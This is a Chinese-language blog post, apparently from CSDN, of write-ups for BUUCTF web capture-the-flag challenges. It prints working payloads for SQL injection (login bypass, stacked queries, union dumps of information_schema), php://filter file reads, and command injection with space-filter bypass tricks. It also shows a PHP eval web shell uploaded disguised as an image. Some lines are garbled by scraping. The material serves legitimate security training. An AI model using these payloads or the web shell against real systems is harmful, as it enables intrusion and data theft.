buucfe

buuctf

第一题:【SOL注入主要考的是万能密码 用户名:admin’ or 1=1# 密码随意】(用户名和密码二者其中一个必须有单撇号)

第二题:右键查看源代码,发现有一段PHP代码:

<!–
c a t = cat= cat=_GET[‘cat’];
echo $cat;
if($cat==‘dog’){
echo ‘Syc{cat_cat_cat_cat}’;
}
–>

在题目链接(即网站首页)后添加如下内容:

?cat=dog

即可得flag。

第三题:查看源代码,发现有如下代码:


然后在网页后面加/source.php后发现代码有这一串($whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];)代码,然后再删除网址后面/source.php重新添加/hint.php,出现这一串代码(flag not here, and flag in ffffllllaaaagggg),最后在最初的网址后面加/?file=hint.php?../…/…/…/…/ffffllllaaaagggg得到flag。

第四题:点击tip,再查看源代码,发现含有?file=flag.php,又根据题目提示include,猜测存在文件包含漏洞,可利用伪协议php://php://访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,其中,php://filter用于读取源码,php://input用于执行php代码,我们可以使用php://filter读取源代码首先尝试构造 /?file=php://filter/resource=flag.php发现没有反应。然后尝试构造/?file=php://filter/read=convert.base64-encode/resource=flag.php得到一堆字符串,这是加密了,所以得到的base64字符串再解码一下就得到flag。

相关知识:php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

/?file=php://filter/resource=xxx.php

直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上

/?file=php://filter/read=convert.base64-encode/resource=xxx.php

将文件内容进行base64编码后显示在浏览器上。

第五题:Execl:

涉及知识点:;表示的是命令分隔符,即当执行完第一个命令,继续执行下一个命令。|表示管道。

解题:我们ping 127.0.0.1;ls试试,

在这里插入图片描述
可以看到,没有过滤分号和ls

接着我们就遍历目录了,通过cd …/达到访问上一个目录的目的,再通过ls 达到查看该目录有哪些文件

当我们到…/…/…/时可以看到有我们想要的flag了,

在这里插入图片描述
输入127.0.0.1;cd…/…/…/flag;ls 后发现没有任何目录

那么我们想要的flag肯定就在该目录下了

直接127.0.0.1;cd…/…/…/;cat flag

在这里插入图片描述

第六题:随便注1

题解:第一种解法:抓包后repeater,再添加GET /?inject=1’//or//1=1;–+ HTTP/1.1,然后GET /?inject=1’;show//tables;–+ HTTP/1.1,再然后GET /?inject=1’;handler//1919810931114514//open;handler//1919810931114514//read//next;handler//1919810931114514//close;–+ HTTP/1.1得到flag。

第二种解法:1,测试1‘ or 1=1;#,初步判断存在SQL注入,2,测试字段数,1’ order by 3;#,到3时就报错,说明字段数为2,接着尝试union注入,1’ union select 1,2;#回显了过滤的关键字。然后就是今天学习的“堆叠注入”,先通过0’;show databases;#爆出数据库,然后show tables爆出表,发现有两个表,(表名为数字时要用反引号包起来),然后给两个表名改名字,1.通过rename先把words表改名为其他表名,2.把1919810931114514表的名字改为words,3.给新words表添加新的列名id,1’;rename table words to words2; rename table 1919810931114514 to words; alter table words change flag id varchar(100);最后1‘ or 1=1;#得到flag。

Ping Ping Ping

知识点::命令1;命令2——先执行命令1再执行命令2

&:命令1&命令2——先执行命令1再执行命令2

|:命令1|命令2——只执行命令2

【BUUCTF】[GXYCTF2019]Ping Ping Ping Writeup

0x00 考点

0、命令联合执行

;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)
12345671234567

1、命令绕过空格方法有:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
123456789101112123456789101112
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
123123

2、内联执行

内联,就是将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
123456123456

解题:1.添加/?ip=1;ls或者/?ip=1|ls,然后/?ip=1;x=lag;cat$IFS 9 f 9f 9fx.php,查看源码得到flag。

EasySQL

1

1.试试sql注入正常套路
(1)先试试1
在这里插入图片描述

有回显
(2)再试试字母
在这里插入图片描述

没有回显
(3)试试单引号注入
在这里插入图片描述

提示不一样,因此猜测这里有注入点
(4)试试有多少列
在这里插入图片描述

还是不成功,因此一般的联合查询在这里不能使用
(5)基于时间的盲注和报错注入都需要嵌套联合查询语句来实现,因此可以跳过,直接试试布尔型盲注
在这里插入图片描述

还是不成功
2.利用堆叠注入
(1)查找所有数据库
在这里插入图片描述

(2)查询所有表名
在这里插入图片描述

(3)查询Flag表中的列
在这里插入图片描述

不成功
3.接下来是网上的两种解法,参照了网上大佬们的WP,自己做的一些总结
(1)第一种是猜出了源码select $_POST[‘query’] || flag from Flag,
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
第一种就按默认没有配置来进行,此时||就是逻辑或
||在命令执行中见过,
回顾:
command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2

因此只需要将

$_POST[‘query’]

提交的数据换成*,1(如果直接写的话会被报错,且写在后面会失效)
解释:
sql=select.post[‘query’].“||flag from Flag”;(拼接语句)
如果$post[‘query’]的数据为

*,1

sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1

执行payload:*,1
在这里插入图片描述

得到flag
(2)第二种是将||作为字符串连接符,因此需要在语句中更改其配置
sql_mode=PIPES_AS_CONCAT时即可
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag
在这里插入图片描述

得到flag。

Secret File

1

别问蒋璐源是谁,她是谁谁也不知道,这道题老规矩先看一下源代码中有没有什么有价值的信息
在这里插入图片描述
可以看见里面有一个名叫Archive_room.php的文件,我们点进去看一看
在这里插入图片描述
该界面是这样的,有一个按钮链接,可以点一下看一下是什么情况
在这里插入图片描述
可以看见这里作者在这里搞了一连串的剧情,但都是没有用的剧情,所以为了稳妥起见,我们还是抓包看吧,就从按钮哪里开始
在这里插入图片描述
这里可以发现,这里有一个被注释了的php文件,
然后我们点开这个php文件,哈哈哈,看看里面有什么有用的信息
在这里插入图片描述
好了,现在,代码审计开始了,唉,扎心了老铁,最烦的就是代码审计了
在这里插入图片描述
这里我解释一下吧,这里它利用了filter伪协议,该协议刚好就能够查看文件包含的漏洞,所以当我们利用该协议查看flag.php时,会将它的源代码爆出来,但是因为base64的加密原因,所以我们还需要进行一次base64解密,现在进行解密行为
在这里插入图片描述
在这里插入图片描述
好了,至此flag就出来了。

LoveSQL

1

万能密码如下:在这里插入图片描述
这里账号填1' or 1=1#,密码随便写。
在这里插入图片描述
登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:
?username=1' order by 1%23&password=ads在这里插入图片描述
没有报错,只是说账号密码错误。直到order by 4的时候,报错了:
在这里插入图片描述
判断出有三个字段,接下来开始寻找注入点:
?username=1' union select 1,2,3%23&password=ads在这里插入图片描述
很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。
?username=1' union select 1,database(),3%23&password=ads
得到数据库名:geek!

?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads`
得到表名`geekuser,l0ve1ysq1
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads`
得到字段名`id,username,password

?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
flag出来了~~

flag{70dfe726-2d2d-443e-a90a-5f5c3163b305}
在这里插入图片描述

极客大挑战 2019]Http

1

referer:服务器伪造

X-Forwarded-For:用于修改ip

解法:查看源代码

[ACTF2020 新生赛]Upload

1

先写一个木马文件如:

GIF89a
<script language="php">eval($_POST['a'])</script>

保存为有后缀为phtml,和jpg,上传jpg文件,查看源代码,删除οnsubmit=“return checkFile()”,再上传含有木马phtml文件,成功上传后访问页面显示的文件。空白页面说明上传成功,蚁剑连接。

[ACTF2020 新生赛]BackupFile

1

常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
于是用dirsearch扫描目录
看到bak的后缀(或者一个一个试一试),在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
下载后给了源码

<?php
	include_once "flag.php";//包含flag文件

	if(isset($_GET['key'])) {//获取key参数
	    $key = $_GET['key'];
	    if(!is_numeric($key)) {//判断key是否为数值OR数字字符串,不仅可以检查10进制,16进制也可以
	        exit("Just num!");//不是则退出脚本
	    }
	    $key = intval($key);//获取变量整数数值
	    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
	    if($key == $str) {//弱比较
	        echo $flag;
	    }
	}
	else {
	    echo "Try to find out source file!";
	}
?>
123456789101112131415161718123456789101112131415161718

简单的弱类型绕过
php中两个等于号是弱等于
取str的123与key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)
php弱类型

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值